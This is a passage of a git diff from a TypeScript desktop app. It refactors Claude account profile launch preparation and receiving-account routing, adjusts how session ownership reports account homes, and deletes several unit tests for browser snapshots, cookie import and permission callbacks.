expect(projected.sessions.map((session) => session.structuredSession?.sessionId)).toEqual([ + ...records.map((record) => record.sessionId), + undefined + ]) + expect(projected.sessions.slice(0, n).map((session) => session.accountHome)).toEqual( + records.map((record) => record.accountHome) + ) + // One roster read per projection; one record lookup per owned row, none for unowned rows. + expect(store.listConversations).toHaveBeenCalledTimes(1) + expect(store.getRecord).toHaveBeenCalledTimes(n) + expect(new Set(store.getRecord.mock.calls.map(([sessionId]) => sessionId)).size).toBe(n) + } + ) + it('keeps the legacy shared Codex home unknown and redacts account homes over relay search', () => { installOwnership({ accountHome: { variable: 'CODEX_HOME', path: resolveOrcaManagedCodexHomePath() } diff --git a/src/main/ai-vault/structured-session-ownership.ts b/src/main/ai-vault/structured-session-ownership.ts index 93c5ee68e50..6c0dbd15c6b 100644 --- a/src/main/ai-vault/structured-session-ownership.ts +++ b/src/main/ai-vault/structured-session-ownership.ts @@ -1,7 +1,13 @@ import { LOCAL_EXECUTION_HOST_ID } from '../../shared/execution-host' import { homedir } from 'node:os' import { join } from 'node:path' -import { isLegacyAgentSessionAccountHome } from '../../shared/agent-session-account-home' +import { + agentSessionAccountHome, + isLegacyAgentSessionAccountHome, + type AgentSessionAccountHome +} from '../../shared/agent-session-account-home' +import { acquiredAgentSessionAccount } from '../../shared/agent-session-acquired-account' +import { CLAUDE_STRUCTURED_AGENT } from '../claude/claude-structured-agent-definition' import { normalizeRuntimePathForComparison } from '../../shared/cross-platform-path' import { resolveOrcaManagedCodexHomePath } from '../codex/codex-home-paths' import { agentSessionOwnerObservationIsLive } from '../../shared/agent-session-lease-adjudication' @@ -129,7 +135,7 @@ function ownedRow(rowAgent: string, ownership: StructuredProviderSessionOwnershi } function projectedAccountHome(ownership: StructuredProviderSessionOwnership) { - const home = ownership.key.home + const home = acquiredAccountHome(ownership.sessionId) ?? ownership.key.home if (!home) { return undefined } @@ -159,6 +165,16 @@ function projectedAccountHome(ownership: StructuredProviderSessionOwnership) { : home } +/** The account the host last launched this chat under, when it observed one; the founding home otherwise. */ +function acquiredAccountHome(sessionId: string): AgentSessionAccountHome | undefined { + const store = getStructuredAgentSessionHost()?.deps.store + const record = store?.getRecord(sessionId) + const acquired = store && record ? acquiredAgentSessionAccount(record, store.hostId) : null + return acquired + ? agentSessionAccountHome(CLAUDE_STRUCTURED_AGENT, acquired.recipe.home) + : undefined +} + // Build one lookup per projection to avoid scanning all chat records for every row. function ownershipLookup(): | ((row: { agent: string; sessionId: string }) => StructuredProviderSessionOwnership | null) diff --git a/src/main/browser/browser-route-partition-pending-deletes.test.ts b/src/main/browser/browser-route-partition-pending-deletes.test.ts index 4bf2cde1d44..5ebffc9988d 100644 --- a/src/main/browser/browser-route-partition-pending-deletes.test.ts +++ b/src/main/browser/browser-route-partition-pending-deletes.test.ts @@ -80,18 +80,6 @@ it('keeps a folder bound again since it was queued, and retries one that failed' expect(JSON.parse(readFileSync(listPath, 'utf8'))).toEqual([busy]) }) -it('does nothing with no list', async () => { - expect( - await deletePendingBrowserRoutePartitionDirectories({ - filePath: listPath, - partitionDataRoot: partitions, - isBound: () => false, - removeDirectory - }) - ).toEqual([]) - expect(existsSync(listPath)).toBe(false) -}) - it('never deletes a listed path that is not strictly inside Partitions', async () => { const outside = join(root, 'outside') mkdirSync(outside) diff --git a/src/main/browser/cookies/browser-cookie-import-scope.test.ts b/src/main/browser/cookies/browser-cookie-import-scope.test.ts index a224078cd43..fd01bfcbe45 100644 --- a/src/main/browser/cookies/browser-cookie-import-scope.test.ts +++ b/src/main/browser/cookies/browser-cookie-import-scope.test.ts @@ -171,48 +171,4 @@ describe('native cookie import preserves destination cookies', () => { expect(removedNames).not.toContain('SID') expect(removedNames).not.toContain('orphan') }) - - it('keeps extra destination paths and subdomains alongside imported values', async () => { - sessionFromPartitionMock.mockReturnValue({ - cookies: { - get: vi.fn().mockResolvedValue([ - { - name: 'gist-session', - value: 'stale', - domain: 'gist.github.com', - hostOnly: true, - path: '/', - secure: true, - httpOnly: true, - sameSite: 'lax' - }, - { - name: 'lookalike', - value: 'live', - domain: 'notgithub.com', - hostOnly: true, - path: '/', - secure: true, - httpOnly: true, - sameSite: 'lax' - } - ]), - set: vi.fn(async () => undefined), - remove: cookiesRemoveMock, - flushStore: vi.fn().mockResolvedValue(undefined) - }, - clearData: vi.fn().mockResolvedValue(undefined), - setUserAgent: vi.fn(), - getStoragePath: () => join(tmpDir, 'userData', 'Partitions', 'test') - }) - createChromiumCookieTestDatabase(sourceCookiesPath, [ - { domain: '.github.com', name: 'user_session', value: 'imported-github' } - ]).close() - createChromiumCookieTestDatabase(targetCookiesPath, []).close() - - const result = await importCookiesFromBrowser(chromeBrowser(sourceCookiesPath), 'persist:test') - - expect(result.ok).toBe(true) - expect(cookiesRemoveMock).not.toHaveBeenCalled() - }) }) diff --git a/src/main/browser/extensions/browser-extension-content-script-persistence.test.ts b/src/main/browser/extensions/browser-extension-content-script-persistence.test.ts index f210258ca7e..480b2f3b48d 100644 --- a/src/main/browser/extensions/browser-extension-content-script-persistence.test.ts +++ b/src/main/browser/extensions/browser-extension-content-script-persistence.test.ts @@ -257,24 +257,4 @@ describe('native content script ownership', () => { await nativeCompleted expect(stored()).toEqual([script]) }) - - it('does not write persistence from a native result completing after unload', async () => { - let release = () => {} - let started = () => {} - const entered = new Promise((resolve) => { - started = resolve - }) - mocks.beforeExecute = () => - new Promise((resolve) => { - release = resolve - started() - }) - const pending = context(true)('registerContentScripts', [{ id: 'old' }]) - await entered - forgetBrowserExtensionContentScriptRestore(session, extension.id) - await expect(pending).rejects.toThrow('unloaded') - release() - expect(stored()).toEqual([]) - expect(mocks.windows[0].destroyed).toBe(true) - }) }) diff --git a/src/main/browser/paired-runtime-browser-client-host-registry.test.ts b/src/main/browser/paired-runtime-browser-client-host-registry.test.ts index 52955a2ed13..977eaaf8068 100644 --- a/src/main/browser/paired-runtime-browser-client-host-registry.test.ts +++ b/src/main/browser/paired-runtime-browser-client-host-registry.test.ts @@ -143,22 +143,6 @@ describe('PairedRuntimeBrowserClientHostRegistry', () => { expect(registry.hostsPage('environment-a', 'page-a')).toBe(false) }) - it('closes only the selected environment and permits a later exact restart', async () => { - const first = createComposition() - const second = createComposition() - const compositionFactory = vi.fn().mockReturnValueOnce(first).mockReturnValueOnce(second) - const registry = new PairedRuntimeBrowserClientHostRegistry({ - createComposition: compositionFactory - }) - await registry.start(input(11)) - - await expect(registry.closeEnvironment('environment-a')).resolves.toBe(true) - await registry.start(input(11)) - - expect(first.close).toHaveBeenCalledOnce() - expect(second.start).toHaveBeenCalledOnce() - }) - it('permanently fences new starts before closing every environment', async () => { const first = createComposition() const second = createComposition() diff --git a/src/main/browser/snapshot-engine.test.ts b/src/main/browser/snapshot-engine.test.ts index 17f5341b220..a3076097ac4 100644 --- a/src/main/browser/snapshot-engine.test.ts +++ b/src/main/browser/snapshot-engine.test.ts @@ -46,13 +46,6 @@ function node( } describe('buildSnapshot', () => { - it('returns empty snapshot for empty tree', async () => { - const result = await buildSnapshot(makeSender([])) - expect(result.snapshot).toBe('') - expect(result.refs).toEqual([]) - expect(result.refMap.size).toBe(0) - }) - it('assigns refs to interactive elements', async () => { const nodes: AXNode[] = [ node('1', 'WebArea', 'page', { childIds: ['2', '3'] }), @@ -68,48 +61,6 @@ describe('buildSnapshot', () => { expect(result.snapshot).toContain('[@e2] link "Home"') }) - it('renders text inputs with friendly role name', async () => { - const nodes: AXNode[] = [ - node('1', 'WebArea', 'page', { childIds: ['2'] }), - node('2', 'textbox', 'Email', { backendDOMNodeId: 10 }) - ] - const result = await buildSnapshot(makeSender(nodes)) - expect(result.snapshot).toContain('text input "Email"') - }) - - it('renders landmarks without refs', async () => { - const nodes: AXNode[] = [ - node('1', 'WebArea', 'page', { childIds: ['2'] }), - node('2', 'navigation', 'Main Nav', { childIds: ['3'] }), - node('3', 'link', 'About', { backendDOMNodeId: 10 }) - ] - const result = await buildSnapshot(makeSender(nodes)) - - expect(result.snapshot).toContain('[Main Nav]') - expect(result.refs).toHaveLength(1) - expect(result.refs[0].name).toBe('About') - }) - - it('renders headings without refs', async () => { - const nodes: AXNode[] = [ - node('1', 'WebArea', 'page', { childIds: ['2'] }), - node('2', 'heading', 'Welcome') - ] - const result = await buildSnapshot(makeSender(nodes)) - expect(result.snapshot).toContain('heading "Welcome"') - expect(result.refs).toHaveLength(0) - }) - - it('renders static text without refs', async () => { - const nodes: AXNode[] = [ - node('1', 'WebArea', 'page', { childIds: ['2'] }), - node('2', 'staticText', 'Hello world') - ] - const result = await buildSnapshot(makeSender(nodes)) - expect(result.snapshot).toContain('text "Hello world"') - expect(result.refs).toHaveLength(0) - }) - it('skips generic/none/presentation roles', async () => { const nodes: AXNode[] = [ node('1', 'WebArea', 'page', { childIds: ['2'] }), @@ -156,41 +107,4 @@ describe('buildSnapshot', () => { expect(entry!.role).toBe('checkbox') expect(entry!.name).toBe('Agree') }) - - it('indents children under landmarks', async () => { - const nodes: AXNode[] = [ - node('1', 'WebArea', 'page', { childIds: ['2'] }), - node('2', 'main', '', { childIds: ['3'] }), - node('3', 'button', 'Action', { backendDOMNodeId: 10 }) - ] - const result = await buildSnapshot(makeSender(nodes)) - const lines = result.snapshot.split('\n') - const mainLine = lines.find((l) => l.includes('[Main Content]')) - const buttonLine = lines.find((l) => l.includes('Action')) - expect(mainLine).toBeDefined() - expect(buttonLine).toBeDefined() - expect(buttonLine!.startsWith(' ')).toBe(true) - }) - - it('handles a realistic page structure', async () => { - const nodes: AXNode[] = [ - node('1', 'WebArea', 'page', { childIds: ['2', '3', '4'] }), - node('2', 'banner', '', { childIds: ['5'] }), - node('3', 'main', '', { childIds: ['6', '7', '8'] }), - node('4', 'contentinfo', '', {}), - node('5', 'link', 'Logo', { backendDOMNodeId: 10 }), - node('6', 'heading', 'Dashboard'), - node('7', 'textbox', 'Search', { backendDOMNodeId: 20 }), - node('8', 'button', 'Go', { backendDOMNodeId: 21 }) - ] - const result = await buildSnapshot(makeSender(nodes)) - - expect(result.refs).toHaveLength(3) - expect(result.refs.map((r) => r.name)).toEqual(['Logo', 'Search', 'Go']) - - expect(result.snapshot).toContain('[Header]') - expect(result.snapshot).toContain('[Main Content]') - expect(result.snapshot).toContain('[Footer]') - expect(result.snapshot).toContain('heading "Dashboard"') - }) }) diff --git a/src/main/claude-accounts/claude-profile-launch-preparation.ts b/src/main/claude-accounts/claude-profile-launch-preparation.ts new file mode 100644 index 00000000000..8e40291828b --- /dev/null +++ b/src/main/claude-accounts/claude-profile-launch-preparation.ts @@ -0,0 +1,23 @@ +import { existsSync } from 'node:fs' +import { claudeProfileMarkerPath, type ClaudeProfileDescriptor } from './claude-profile-paths' +import type { ClaudeProfileSetupReport } from './claude-profile-setup' +import { claudeProfileSetupFailed } from './claude-profile-launch-errors' + +/** First construction requires setup; a prepared profile keeps its existing bounded refresh behavior. */ +export async function prepareClaudeProfileForLaunch( + profile: ClaudeProfileDescriptor, + setUp: (profile: ClaudeProfileDescriptor) => Promise, + waitMs = 5_000 +): Promise { + if (!existsSync(claudeProfileMarkerPath(profile))) { + const report = await setUp(profile).catch(() => null) + if (report?.outcome !== 'prepared') { + throw claudeProfileSetupFailed() + } + return + } + const refresh = setUp(profile).catch((error: unknown) => { + console.warn('[claude-profile] Account refresh failed:', error) + }) + await Promise.race([refresh, new Promise((resolve) => setTimeout(resolve, waitMs).unref())]) +} diff --git a/src/main/claude-accounts/claude-profile-router.test.ts b/src/main/claude-accounts/claude-profile-router.test.ts index e97874c932a..4750520de49 100644 --- a/src/main/claude-accounts/claude-profile-router.test.ts +++ b/src/main/claude-accounts/claude-profile-router.test.ts @@ -217,6 +217,7 @@ describe('ClaudeProfileRouter', () => { expect(f.router.preparation().envPatch).not.toHaveProperty('CLAUDE_CONFIG_DIR') expect(f.router.terminalEnv()).toEqual({ ORCA_CLAUDE_PROFILE_POINTER: f.router.pointerPath }) expect(f.router.routedHome()).toBeNull() + expect(f.router.routedHome('identity')).toBeNull() expect(readFileSync(f.router.pointerPath, 'utf8')).toBe('') expect(f.router.coveredBySystemDefault('a')).toBe(true) @@ -228,6 +229,8 @@ describe('ClaudeProfileRouter', () => { }) expect(readFileSync(f.router.pointerPath, 'utf8')).toBe(f.home('a')) expect(f.router.coveredBySystemDefault('a')).toBe(false) + expect(f.router.routedHome()).toBe(f.home('a')) + expect(f.router.routedHome('identity')).toBe(f.home('a')) }) it('tells whether a terminal opened before routing runs another account than the selected one', () => { @@ -420,6 +423,8 @@ describe('ClaudeProfileRouter', () => { const f = fixture() f.settings.activeClaudeManagedAccountId = 'b' expect(() => f.router.preparation()).toThrow(CLAUDE_PROFILE_MISSING_MESSAGE) + expect(() => f.router.routedHome()).toThrow(CLAUDE_PROFILE_MISSING_MESSAGE) + expect(f.router.routedHome('identity')).toBe(f.home('b')) expect(f.router.terminalEnv()).toEqual({ ORCA_CLAUDE_PROFILE_POINTER: f.router.pointerPath }) f.router.publish() expect(readFileSync(f.router.pointerPath, 'utf8')).toBe(f.home('b')) diff --git a/src/main/claude-accounts/claude-profile-router.ts b/src/main/claude-accounts/claude-profile-router.ts index 69435bf912f..f33ba79281b 100644 --- a/src/main/claude-accounts/claude-profile-router.ts +++ b/src/main/claude-accounts/claude-profile-router.ts @@ -1,3 +1,4 @@ +import { prepareClaudeProfileForLaunch } from './claude-profile-launch-preparation' import { getClaudeAgentViewService } from '../claude/agent-view-service' import { existsSync, mkdirSync, readFileSync, rmSync } from 'node:fs' import { homedir } from 'node:os' @@ -9,13 +10,12 @@ import { CLAUDE_PROFILE_SETUP_FAILED_MESSAGE, CLAUDE_USER_CONFIG_DIR_ENV } from '../../shared/claude-profile-routing' -import { claudeProfileMissing, claudeProfileSetupFailed } from './claude-profile-launch-errors' +import { claudeProfileMissing } from './claude-profile-launch-errors' import type { GlobalSettings } from '../../shared/global-settings-types' import { probeRecentClaudeCliVersion } from '../claude/claude-hook-event-versions' import { writeFileAtomically } from '../codex-accounts/fs-utils' import { resolveClaudeCommand } from '../codex-cli/command' import { - claudeProfileMarkerPath, describeClaudeProfile, type ClaudeProfileDescriptor, readUserClaudeConfigDir, @@ -42,8 +42,6 @@ import { } from './claude-account-folder' import { resolveLoginShellEnvironment } from '../startup/login-shell-environment' -const REFRESH_WAIT_MS = 5_000 - export type ClaudeProfileRouterSettings = Pick< GlobalSettings, | 'claudeManagedAccounts' @@ -124,10 +122,11 @@ export class ClaudeProfileRouter { return resolveClaudeDefaultHome(this.userHome, this.userConfigDir()) } - /** Never fall back from a missing folder: that would run the wrong account. */ - routedHome(): string | null { + /** Never fall back from a missing folder: that would run the wrong account. `identity` names + * the selected route before its folder exists; launches and reads still check availability. */ + routedHome(availability: 'checked' | 'identity' = 'checked'): string | null { const home = this.routedProfile()?.home ?? null - if (home !== null && !isDirectory(home)) { + if (availability === 'checked' && home !== null && !isDirectory(home)) { throw claudeProfileMissing() } return home @@ -178,23 +177,25 @@ export class ClaudeProfileRouter { if (!profile) { return this.preparation() } - // A missing marker means initial setup has not completed. - if (!existsSync(claudeProfileMarkerPath(profile))) { - const report = await this.setUp(profile).catch(() => null) - if (report?.outcome !== 'prepared') { - throw claudeProfileSetupFailed() - } - return this.preparation() - } - // Run with the previous setup if refreshing fails or exceeds the deadline. - const refresh = this.setUp(profile).catch((error: unknown) => { - console.warn('[claude-profile] Account refresh failed:', error) - }) - const waitMs = this.args.refreshWaitMs ?? REFRESH_WAIT_MS - await Promise.race([refresh, new Promise((resolve) => setTimeout(resolve, waitMs).unref())]) + await prepareClaudeProfileForLaunch( + profile, + (value) => this.setUp(value), + this.args.refreshWaitMs + ) return this.preparation() } + /** Prepare an observed receiving route without mutating selection or adopting a System-default alias. */ + async prepareReceivingAccount(accountId: string): Promise { + const profile = this.describe(accountId) + await prepareClaudeProfileForLaunch( + profile, + (value) => this.setUp(value), + this.args.refreshWaitMs + ) + return profile.home + } + accountHome(accountId: string): string { return this.describe(accountId).home } diff --git a/src/main/claude-accounts/claude-profile-setup.test.ts b/src/main/claude-accounts/claude-profile-setup.test.ts index 0a8040652fa..fd8f60ad3c4 100644 --- a/src/main/claude-accounts/claude-profile-setup.test.ts +++ b/src/main/claude-accounts/claude-profile-setup.test.ts @@ -175,24 +175,6 @@ describe('Claude account profile setup', () => { expect((await f.setup()).outcome).toBe('refused') expect(existsSync(join(f.defaultHome, 'inner', 'a'))).toBe(false) }) - it('refuses a WSL profile on the Windows host side', async () => { - fixture() - const report = await provisionClaudeAccountProfile({ - dataRoot: '/home/u/.local/share/orca', - profile: describeClaudeProfile('/home/u/.local/share/orca', 'a', { - runtime: 'wsl', - distro: 'Ubuntu', - executionHostId: 'local' - }), - userHome: state.home, - installHooks: null, - platform: 'win32' - }) - expect(report.outcome).toBe('refused') - expect(report.warnings).toEqual([ - expect.objectContaining({ surface: 'profile', code: 'invalid-profile' }) - ]) - }) itLinks('reports skipped and failed hook installs without failing the rest', async () => { const f = fixture() const skipped = await provisionClaudeAccountProfile({ diff --git a/src/main/claude/claude-api-retry-row.test.ts b/src/main/claude/claude-api-retry-row.test.ts index 6360d260668..2ffb3c74b24 100644 --- a/src/main/claude/claude-api-retry-row.test.ts +++ b/src/main/claude/claude-api-retry-row.test.ts @@ -92,16 +92,6 @@ describe('a Claude api_retry frame', () => { expect(row.failure?.detail?.text).toContain('"attempt":3') }) - it('says how far a gateway failure has got, and the code it failed with', async () => { - const [row] = await statusRowsFor([ - apiRetry(1, { error: 'server_error', error_status: 502 }), - apiRetry(2, { error: 'server_error', error_status: 502 }) - ]) - expect(row?.text).toBe( - 'Claude hit a temporary problem and is retrying. Retry 2 of 10.\nLast error: HTTP 502 server error.' - ) - }) - it('starts a new row when a later run starts over', async () => { const rows = await statusRowsFor([apiRetry(1), apiRetry(2), apiRetry(1)]) expect(rows.map((row) => row.text.split('\n')[0])).toEqual([ diff --git a/src/main/claude/claude-receiving-account.ts b/src/main/claude/claude-receiving-account.ts new file mode 100644 index 00000000000..a34254b7a26 --- /dev/null +++ b/src/main/claude/claude-receiving-account.ts @@ -0,0 +1,47 @@ +import { CLAUDE_INJECTED_CONFIG_DIR_ENV } from '../../shared/claude-profile-routing' +import type { ClaudeAccountRecipe } from '../../shared/agent-session-acquired-account' +import type { ClaudeProfileRouter } from '../claude-accounts/claude-profile-router' +import { claudeProfileMissing } from '../claude-accounts/claude-profile-launch-errors' +import { applyClaudeEnvPatch } from '../claude-accounts/environment' +import { resolveStructuredClaudeAccountHomePath } from '../runtime/structured-agent-account-home' + +/** Only actual preparation produces a receipt; selection is never backfilled as acquisition. */ +export async function prepareClaudeReceivingAccount( + router: ClaudeProfileRouter | undefined, + env: Record, + recordHome: string, + receiving?: ClaudeAccountRecipe +): Promise { + if (receiving?.route === 'managed') { + if (!router) { + throw claudeProfileMissing() + } + const home = await router.prepareReceivingAccount(receiving.accountId) + applyClaudeEnvPatch(env, { CLAUDE_CONFIG_DIR: home, [CLAUDE_INJECTED_CONFIG_DIR_ENV]: home }) + return { ...receiving, home } + } + if (receiving) { + if (receiving.configDir === null) { + delete env.CLAUDE_CONFIG_DIR + } else { + env.CLAUDE_CONFIG_DIR = receiving.configDir + } + return receiving + } + if (!router) { + return { route: 'system', home: recordHome, configDir: env.CLAUDE_CONFIG_DIR ?? null } + } + const preparation = await router.prepareLaunch() + const home = + preparation.provenance === 'system' + ? resolveStructuredClaudeAccountHomePath({ + launchEnv: env, + wslDistro: null, + getClaudeConfigDirectory: () => router.systemDefaultHome() + }) + : preparation.configDir + applyClaudeEnvPatch(env, preparation.envPatch) + return preparation.provenance.startsWith('profile:') + ? { route: 'managed', accountId: preparation.provenance.slice('profile:'.length), home } + : { route: 'system', home, configDir: env.CLAUDE_CONFIG_DIR ?? null } +} diff --git a/src/main/claude/claude-structured-acquisition-launch.ts b/src/main/claude/claude-structured-acquisition-launch.ts index 3127f13d8c0..424c6740dee 100644 --- a/src/main/claude/claude-structured-acquisition-launch.ts +++ b/src/main/claude/claude-structured-acquisition-launch.ts @@ -99,6 +99,7 @@ export async function resolveClaudeAcquisitionLaunch(args: { .resolveLaunch({ identity: launchIdentity, spawnToken: input.spawnToken, + ...(input.accountRecipe ? { accountRecipe: input.accountRecipe } : {}), ...(input.permissionMode ? { permissionMode: input.permissionMode } : {}) }) .catch((error: unknown) => { diff --git a/src/main/claude/claude-structured-auth-parity.test.ts b/src/main/claude/claude-structured-auth-parity.test.ts index d82b6a23fd6..04b7942894d 100644 --- a/src/main/claude/claude-structured-auth-parity.test.ts +++ b/src/main/claude/claude-structured-auth-parity.test.ts @@ -1,8 +1,20 @@ import { createClaudeStructuredLaunchResolver } from '../runtime/structured-agent-launch-composition.test-support' -import { describe, expect, it, vi } from 'vitest' +import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, describe, expect, it, vi } from 'vitest' +import { ClaudeProfileRouter } from '../claude-accounts/claude-profile-router' +import { installClaudeProfileRouter } from '../claude-accounts/claude-profile-installed-router' +import { claudeProfileMarkerPath } from '../claude-accounts/claude-profile-paths' import type { AgentSessionRecord } from '../../shared/agent-session-record' import { LOCAL_EXECUTION_HOST_ID } from '../../shared/execution-host' +const roots: string[] = [] +afterEach(() => { + installClaudeProfileRouter(undefined) + roots.splice(0).forEach((root) => rmSync(root, { recursive: true, force: true })) +}) + const SESSION_ID = 'orca-session-auth' const IDENTITY = { sessionId: SESSION_ID } as Parameters< ReturnType @@ -27,6 +39,27 @@ function resolverFor(options: { account: 'managed' | 'system' overlay?: Record }): ReturnType { + const root = mkdtempSync(join(tmpdir(), 'claude-auth-parity-')) + roots.push(root) + installClaudeProfileRouter( + new ClaudeProfileRouter({ + dataRoot: root, + userHome: join(root, 'personal'), + env: {}, + getSettings: () => ({ + claudeManagedAccounts: [], + activeClaudeManagedAccountId: options.account === 'managed' ? 'auth-parity' : null, + activeClaudeManagedAccountIdsByRuntime: undefined, + agentStatusHooksEnabled: false, + disabledTuiAgents: [] + }), + runSetup: async ({ profile }) => { + mkdirSync(profile.home, { recursive: true }) + writeFileSync(claudeProfileMarkerPath(profile), '{}') + return { outcome: 'prepared', warnings: [], surfaces: {} } + } + }) + ) return createClaudeStructuredLaunchResolver({ resolveLaunchArgs: () => [], store: { getRecord: () => record(), pinLaunchDirectory: vi.fn() }, diff --git a/src/main/claude/claude-structured-inbound-control.test.ts b/src/main/claude/claude-structured-inbound-control.test.ts index 73f3b60a2bf..c675285b0b2 100644 --- a/src/main/claude/claude-structured-inbound-control.test.ts +++ b/src/main/claude/claude-structured-inbound-control.test.ts @@ -170,35 +170,4 @@ describe('Claude permission callbacks', () => { expect.objectContaining({ type: 'prompt-cancelled', promptKey: 'perm-4' }) ) }) - - it('settles every in-flight prompt with null when the registry is cleared', async () => { - const control = callbacksFor() - const first = control.canUseTool( - 'Bash', - { command: 'a' }, - permissionOptions('perm-5', 'tool-5', new AbortController().signal) - ) - const second = control.canUseTool( - 'Bash', - { command: 'b' }, - permissionOptions('perm-6', 'tool-6', new AbortController().signal) - ) - - for (const prompt of control.prompts.clear()) { - prompt.settle(null) - } - - await expect(first).resolves.toBeNull() - await expect(second).resolves.toBeNull() - }) - - it('answers a user dialog deny-safe', async () => { - const control = callbacksFor() - await expect( - control.onUserDialog( - { dialogKind: 'refusal_fallback_prompt', payload: {} }, - { signal: new AbortController().signal, requestId: 'dialog-1' } - ) - ).resolves.toEqual({ behavior: 'cancelled' }) - }) }) diff --git a/src/main/claude/claude-structured-launch-account-routing.test.ts b/src/main/claude/claude-structured-launch-account-routing.test.ts index 23e9cb28c67..243b0eac43e 100644 --- a/src/main/claude/claude-structured-launch-account-routing.test.ts +++ b/src/main/claude/claude-structured-launch-account-routing.test.ts @@ -6,12 +6,17 @@ import { afterEach, expect, it, vi } from 'vitest' import { agentSessionRecordFixture } from '../../shared/agent-session-record.test-fixture' import { claudeProviderHandle } from '../../shared/agent-session-provider-handle-encoding' import type { AgentSessionRewindRecord } from '../../shared/agent-session-rewind' -import { CLAUDE_PROFILE_SETUP_FAILED_MESSAGE } from '../../shared/claude-profile-routing' +import { + CLAUDE_PROFILE_MISSING_MESSAGE, + CLAUDE_PROFILE_SETUP_FAILED_MESSAGE +} from '../../shared/claude-profile-routing' import { ClaudeProfileRouter, type ClaudeProfileRouterSettings } from '../claude-accounts/claude-profile-router' import { installClaudeProfileRouter } from '../claude-accounts/claude-profile-installed-router' +import { resolveStructuredClaudeAccountHomePath } from '../runtime/structured-agent-account-home' +import { structuredAgentRuntimeMetadata } from '../runtime/structured-agent-runtime-metadata' const roots: string[] = [] afterEach(() => { @@ -29,16 +34,35 @@ it('launches each acquisition under the current selection, not the account it wa agentStatusHooksEnabled: false, disabledTuiAgents: [] } + const runSetup = vi.fn(async () => { + throw new Error('setup refused') + }) const router = new ClaudeProfileRouter({ getSettings: () => settings, dataRoot: root, userHome: join(root, 'personal'), env: { CLAUDE_CONFIG_DIR: resolvePath('/user/own') }, - runSetup: async () => { - throw new Error('setup refused') - } + runSetup }) + const follows = () => structuredAgentRuntimeMetadata('claude')?.launchFollowsSelection?.() + // Without a router a launch keeps the record's home, so a running chat is never compared. + expect(follows()).toBe(false) installClaudeProfileRouter(router) + expect(follows()).toBe(true) + // What a running chat is compared against is the folder a launch runs under, so a switch + // replaces it once and no route replaces it before every message. + const read = (purpose?: 'identity') => + resolveStructuredClaudeAccountHomePath({ + launchEnv: {}, + wslDistro: null, + ...(purpose ? { purpose } : {}), + getClaudeConfigDirectory: () => router.systemDefaultHome() + }) + const home = join(root, 'claude-profiles', 'a', 'home') + // Dispatch identity names the selected account before its folder exists; availability reads refuse. + expect(read('identity')).toBe(home) + expect(() => read()).toThrow(CLAUDE_PROFILE_MISSING_MESSAGE) + expect(runSetup).not.toHaveBeenCalled() const record = { ...agentSessionRecordFixture(), providerHandleChain: [], @@ -65,22 +89,32 @@ it('launches each acquisition under the current selection, not the account it wa reason: 'claudeAccountSetupFailed', message: CLAUDE_PROFILE_SETUP_FAILED_MESSAGE }) + expect(runSetup).toHaveBeenCalled() - const home = join(root, 'claude-profiles', 'a', 'home') mkdirSync(home, { recursive: true }) writeFileSync(join(root, 'claude-profiles', 'a', 'profile.json'), '{}') const routed = await resolve({ identity }) expect(routed.claudeConfigDir).toBe(home) + expect(read()).toBe(home) + expect(read('identity')).toBe(home) expect(routed.env).toMatchObject({ CLAUDE_CONFIG_DIR: home, ORCA_CLAUDE_INJECTED_CONFIG_DIR: home }) + const receipt = routed.accountRecipe + expect(receipt).toEqual({ route: 'managed', accountId: 'a', home }) settings.activeClaudeManagedAccountId = null expect((await resolve({ identity })).claudeConfigDir).toBe(resolvePath('/user/own')) + const prepareAccount = vi.spyOn(router, 'prepareReceivingAccount') + expect((await resolve({ identity, accountRecipe: receipt })).claudeConfigDir).toBe(home) + expect(prepareAccount).toHaveBeenCalledWith('a') + expect(settings.activeClaudeManagedAccountId).toBeNull() + prepareAccount.mockRestore() + expect(read()).toBe(resolvePath('/user/own')) }) -function routedResumeFixture(rewind?: AgentSessionRewindRecord) { +function routedResumeFixture(rewind?: AgentSessionRewindRecord, transcriptFiles = false) { const root = mkdtempSync(join(tmpdir(), 'claude-launch-routing-')) roots.push(root) const home = join(root, 'claude-profiles', 'a', 'home') @@ -116,7 +150,9 @@ function routedResumeFixture(rewind?: AgentSessionRewindRecord) { resolveCommand: () => ({ command: '/usr/local/bin/claude', prefixArgs: [] }), resolveInheritedEnv: async () => ({ PATH: '/usr/bin' }), resolveAuthPolicy: () => ({ account: 'system' }), - hasTranscript: async ({ claudeConfigDir }) => transcriptHomes.has(claudeConfigDir) + hasTranscript: transcriptFiles + ? undefined + : async ({ claudeConfigDir }) => transcriptHomes.has(claudeConfigDir) }) const identity = { sessionId: record.sessionId, @@ -125,7 +161,7 @@ function routedResumeFixture(rewind?: AgentSessionRewindRecord) { agent: 'claude' as const, providerHandle: handle } - return { root, home, transcriptHomes, launch: () => resolve({ identity }) } + return { root, home, record, transcriptHomes, launch: () => resolve({ identity }) } } it('refuses to resume a chat whose transcript is in another account instead of starting fresh', async () => { @@ -143,6 +179,18 @@ it('refuses to resume a chat whose transcript is in another account instead of s expect(resumed.resumeLeafUuid).toBe('leaf-1') }) +it('refuses to resume a chat whose transcript is only in its saved custom home', async () => { + const { root, record, transcriptHomes, launch } = routedResumeFixture() + const customHome = join(root, 'custom-claude-home') + record.accountHome = { variable: 'CLAUDE_CONFIG_DIR', path: customHome } + transcriptHomes.add(customHome) + + await expect(launch()).rejects.toMatchObject({ + name: 'AgentSessionPreSpawnError', + reason: 'historyInOtherAccount' + }) +}) + it('resumes a chat with a stored leaf whose transcript is in no known folder', async () => { const { launch } = routedResumeFixture() @@ -151,21 +199,41 @@ it('resumes a chat with a stored leaf whose transcript is in no known folder', a expect(resumed.resumeLeafUuid).toBe('leaf-1') }) -it('refuses a rewound chat whose kept conversation is in another account', async () => { - const { root, transcriptHomes, launch } = routedResumeFixture({ - operationId: 'rewind-1', - callerKey: 'desktop', - itemId: 'item-1', - expectedEpoch: 'epoch-1', - phase: 'completed', - providerFork: { - sessionId: 'forked', - sourceSessionId: 'ran-under-b', - throughEntryId: 'entry-1', - replacesSessionId: 'ran-under-b' - } - }) - transcriptHomes.add(join(root, 'personal', '.claude')) +it('refuses a rewind fork from its saved custom home and recovers when its source reaches the selected account', async () => { + const { root, home, record, launch } = routedResumeFixture( + { + operationId: 'rewind-1', + callerKey: 'desktop', + itemId: 'item-1', + expectedEpoch: 'epoch-1', + phase: 'completed', + providerFork: { + sessionId: 'forked', + sourceSessionId: 'ran-under-b', + throughEntryId: 'entry-1', + replacesSessionId: 